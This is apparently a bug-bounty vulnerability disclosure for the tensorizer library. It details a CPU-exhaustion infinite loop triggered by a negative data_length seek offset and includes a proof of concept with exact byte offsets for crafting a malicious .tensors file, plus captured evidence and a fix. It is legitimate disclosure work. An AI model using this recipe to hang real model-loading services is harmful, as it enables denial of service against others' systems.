YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Infinite-loop / CPU-exhaustion DoS in TensorDeserializer via negative signed per-tensor-header data_length used as an unchecked backward stream seek
- Target:
tensorizer(CoreWeave) - Affected version: 2.12.1 (latest on PyPI at time of report; unmodified install)
- Vulnerable component:
tensorizer/serialization.pyβ_TensorHeaderDeserializer/TensorDeserializer._bulk_load_uncached._copy_thread - CWE: CWE-835 (Loop with Unreachable Exit Condition / Infinite Loop) resulting from CWE-20 (Improper Input Validation) of a signed, attacker-controlled relative seek offset
- Impact: Denial of Service β a single malicious
.tensorsfile causes the deserializer worker thread to spin at ~100% CPU forever while the mainTensorDeserializer(...)call blocks and never returns.
Root cause
The per-tensor header data_length is parsed as a signed 64-bit integer:
# tensorizer/serialization.py:628
class _TensorHeaderDeserializer:
data_length_segment = struct.Struct("<q") # "<q" == signed 64-bit little-endian
It is read at serialization.py:719-722 and stored on the header object without any bounds check.
In the bulk-load worker _copy_thread, per-tensor headers are read sequentially in a loop over the tensors that need loading, starting from begin_offset:
# tensorizer/serialization.py ~3051 / ~3076
while tensors_read < len(tensor_items):
header = _TensorHeaderDeserializer.from_io(file_, ...) # serialization.py:650
...
if header.name not in <names being loaded>:
# skip branch β serialization.py:3091-3093
file_.seek(header.data_length, io.SEEK_CUR) # attacker-controlled SIGNED value, NO validation
continue # NB: tensors_read is NOT incremented
...
tensors_read += 1
When a per-tensor header's name is not among the tensors being loaded, the skip branch performs a relative seek by header.data_length and continues without incrementing tensors_read. Because data_length is signed and unvalidated, a negative value (e.g. -header_len) seeks the stream backward to the start of the very same header. The loop then re-reads the identical header, takes the same skip branch, seeks backward again, and repeats forever.
- The worker thread spins at ~100% CPU inside
_TensorHeaderDeserializer.from_io(serialization.py:650). - The main thread blocks on
transfer_out_queue.get(timeout=3600)inside_bulk_load_uncached(serialization.py:2985), soTensorDeserializer(...)never returns.
This is a control-flow infinite loop: data_length is used as a relative seek() offset, not as an allocation size.
Fix
Reject data_length < 0 (and bound the forward skip against the remaining stream length) before calling seek() in the skip branch.
Proof of concept
A valid single-tensor file is first built with the real TensorSerializer:
# build.py
t = torch.arange(8, dtype=torch.float32) # tiny real tensor
ser = TensorSerializer("valid.tensors")
ser.write_tensor(0, "evilname", TensorType.PARAM, t)
ser.close()
# -> valid.tensors, 262,338 bytes
# header_offset = 262217, header_len = 81
# signed <q data_length field at file offset 262290
# name bytes at 262230
Two byte edits β both fully within an attacker's control of the file bytes β craft the exploit (craft.py):
- Flip one name byte at offset 262230:
0x65 'e' -> 0x58 'X', so the per-tensor header name"Xvilname"differs from the metadata-index name"evilname". This forces the skip branch atserialization.py:3091. - Set the trailing signed
<qdata_length(offset 262290) to-81(= -header_len).
Loading with:
# loadchild_fh.py
import sys, faulthandler
faulthandler.dump_traceback_later(4, exit=True) # dump stack after 4s, then exit
from tensorizer import TensorDeserializer
d = TensorDeserializer(sys.argv[1], device="cpu", lazy_load=False)
print("LOADED", list(d.keys()))
The worker seeks to 262217, reads the 81-byte header (pos -> 262298), sees the name is not in the load set, seeks -81 back to 262217, and repeats forever.
Files
build.pyβ buildsvalid.tensorswith the real serializerparse.pyβ locates header offsets / field positionscraft.pyβ applies the two byte edits to produce the malicious + control filesloadchild.py,loadchild_fh.pyβ loader harness (the latter with a faulthandler watchdog)valid.tensorsβ unmodified, valid baselineevil_infinite.tensorsβ name-flip +data_length = -81(the exploit)ctrl_zero.tensorsβ name-flip +data_length = 0(control)ctrl_posdl.tensorsβ name-flip +data_length = +32(control)
Captured evidence (verbatim)
=== EVIL: negative data_length = -header_len (expect HANG -> timeout) ===
exit=124 (124=timeout=hang)
=== faulthandler stack dump after 4s of spinning ===
Timeout (0:00:04)!
Thread 0x00007fd9f3c296c0 (most recent call first):
File ".../tensorizer/serialization.py", line 650 in from_io
File ".../tensorizer/serialization.py", line 3080 in _copy_thread
...
Thread 0x00007fda39fe1200 (most recent call first):
File ".../tensorizer/serialization.py", line 2985 in _bulk_load_uncached
File ".../tensorizer/serialization.py", line 2005 in __init__
File ".../seek-poc/loadchild_fh.py", line 4 in <module>
=== CPU sample during spin ===
PID %CPU STAT ELAPSED COMMAND
654789 151 SNl 00:03 python3
=== CONTROLS (isolating negativity as the cause) ===
baseline keys: ['evilname'] # unmodified valid.tensors loads
ctrl_zero (name-flip + data_length=0): MemoryError -> terminates (exit 1)
ctrl_posdl (name-flip + data_length=+32): ValueError: Unexpected empty header -> terminates
evil_infinite (name-flip + data_length=-81): TIMEOUT 124 -> infinite loop hang
installed version 2.12.1 (PyPI, unmodified)
What the controls prove
- Unmodified
valid.tensorsloads fine (keys: ['evilname']). - name-flip +
data_length = 0terminates (MemoryErrorat a bogus re-read offset). - name-flip +
data_length = +32(positive) terminates (ValueError: Unexpected empty header). - Only the negative
data_lengthhangs.
This isolates the negativity of the signed seek offset β not merely the name mismatch or a non-zero skip β as the specific cause of the infinite loop.
Dedup / distinctness note
This is distinct from the two prior tensorizer findings:
header_lenunboundedbytearrayallocation (memory exhaustion via an allocation-size field β CWE-789/400). Repos:huntr-r3-tensorizer,tensorizer-unbounded-alloc.- Meta-tensor shape zero-fill allocation bomb (memory exhaustion via shape product β CWE-789/400). Repo:
huntr-poc-dos-tensorizer-meta-shape.
Both prior findings are memory-exhaustion via allocation-size fields. This finding is a control-flow infinite loop: data_length is used as a relative SEEK, not an allocation β a different field-usage, a different CWE (835 vs 789/400), and a different failure mode (CPU spin / hang vs OOM).
Notably, the earlier datalen-poc investigation examined data_length only as an unsigned allocation vector and dismissed it as a negative result (torch.empty is lazy); it never considered the signed value being fed to seek(). Dedup-checked against HF repos huntr-r3-tensorizer, tensorizer-unbounded-alloc, huntr-poc-dos-tensorizer-meta-shape and the local datalen-poc / meta-poc notes β none cover the negative-seek loop.